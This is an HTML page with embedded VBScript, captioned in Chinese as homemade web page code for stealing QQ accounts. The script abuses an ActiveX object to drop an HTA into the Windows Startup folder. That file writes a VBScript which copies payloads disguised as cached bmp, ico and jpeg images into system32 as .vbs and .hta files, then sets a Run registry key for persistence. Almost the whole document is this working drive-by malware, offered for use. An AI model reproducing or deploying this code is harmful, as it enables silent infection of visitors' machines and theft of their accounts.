1<html>
2<script language="vbs">
3'on error resume next
4rem czy a scit boy 2002.3.31
5aosoao
6sub cal()
7myname=document.location
8If Right(myname, 3) = "hta" Then
9call svbs()
10end if
11end sub
12sub svbs()
13'on error resume next
14set fso = createobject("Scripting.FileSystemObject")
15If not (fso.FolderExists("c:\windows\system32\qq")) Then
16fso.CreateFolder("c:\windows\system32\qq")
17call sv()
18else
19settimeout "aa()",1
20end if
21end sub
22sub sv()
23set fso = createobject("Scripting.FileSystemObject")
24set fil = fso.opentextfile("C:\WINDOWS\Start Menu\Programs\启动\so.vbs",2,tr
25ue)
26fil.writeline "drnext"
27fil.writeline "sub drnext()"
28fil.writeline "on error resume next"
29fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
30fil.writeline "If (fso.FileExists(""C:\WINDOWS\Start Menu\Programs\启动\so.h
31ta"")) Then"
32fil.writeline "fso.DeleteFile(""C:\WINDOWS\Start Menu\Programs\启动\so.hta""
33)"
34fil.writeline "end if"
35fil.writeline "for each dr in fso.getfolder(""C:\windows\tempor~1"").subfold
36ers"
37fil.writeline " fdnext(dr)"
38fil.writeline " flnext(dr)"
39fil.writeline " next "
40fil.writeline "end sub"
41fil.writeline "sub fdnext(dr)"
42fil.writeline "for each fd in dr.subfolders"
43fil.writeline " fdnext(fd)"
44fil.writeline " flnext(fd)"
45fil.writeline "next"
46fil.writeline "end sub"
47fil.writeline "sub flnext(dr)"
48fil.writeline "set fso = createobject(""Scripting.FileSystemObject"")"
49fil.writeline "for each fl in dr.files"
50fil.writeline "If LCase(fso.GetFileName(fl))=""123451[1].bmp"" then"
51fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.bmp"""
52fil.writeline "elseif LCase(fso.GetFileName(fl))=""123452[1].ico"" then"
53fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\1.ico"""
54fil.writeline "elseif LCase(fso.GetFileName(fl))=""123453[1].jpeg"" then"
55fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\2.jpg"""
56fil.writeline "elseif LCase(fso.GetFileName(fl))=""123454[1].jpeg"" then"
57fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\dl.vbs"""
58fil.writeline "elseif LCase(fso.GetFileName(fl))=""123455[1].jpeg"" then"
59fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq.vbs"""
60fil.writeline "elseif LCase(fso.GetFileName(fl))=""123456[1].jpeg"" then"
61fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq1.hta"""
62fil.writeline "elseif LCase(fso.GetFileName(fl))=""123457[1].jpeg"" then"
63fil.writeline "fso.CopyFile fl, ""c:\windows\system32\qq\qq2.hta"""
64fil.writeline " End If"
65fil.writeline "next"
66fil.writeline "set R = CreateObject(""WScript.Shell"")"
67fil.writeline "R.RegWrite ""HKCU\Software\Microsoft\Windows\CurrentVersion\
68Run\qq"",_"
69fil.writeline """c:\windows\system32\qq\qq.vbs"""
70fil.writeline "end sub"
71'----------------------------
72settimeout "aa()",1
73end sub
74sub aa()
75window.close
76end sub
77</script>
78<script language="vbscript">
79on error resume next
80function lvbs()
81For Each ws In document.scripts
82If LCase(ws.Language) = "vbs" Then
83Lvbs = ws.Text
84Exit Function
85End If
86next
87end function
88main
89sub main()
90dim aa
91lvbs
92aa="<html><script language=vbscript>" & lvbs & "<" & "/" & "script" & ">" &
93"<" & "/" & "html" & ">"
94set os = createobject("Scriptlet.TypeLib")
95Os.Reset
96Os.Path = "C:\WINDOWS\Start Menu\Programs\启动\so.hta"
97Os.Doc = aa
98Os.Write()
99end sub
100</script>
101<img src="123451.bmp"/>
102<img src="123452.ico"/>
103<img src="123453.jpg"/>
104<img src="123454.jpg"/>
105<img src="123455.jpg"/>
106<img src="123456.jpg"/>
107<img src="123457.jpg"/>
108<body>
109</body>
110</html>
自制盗QQ号网页代码
comments powered by Disqus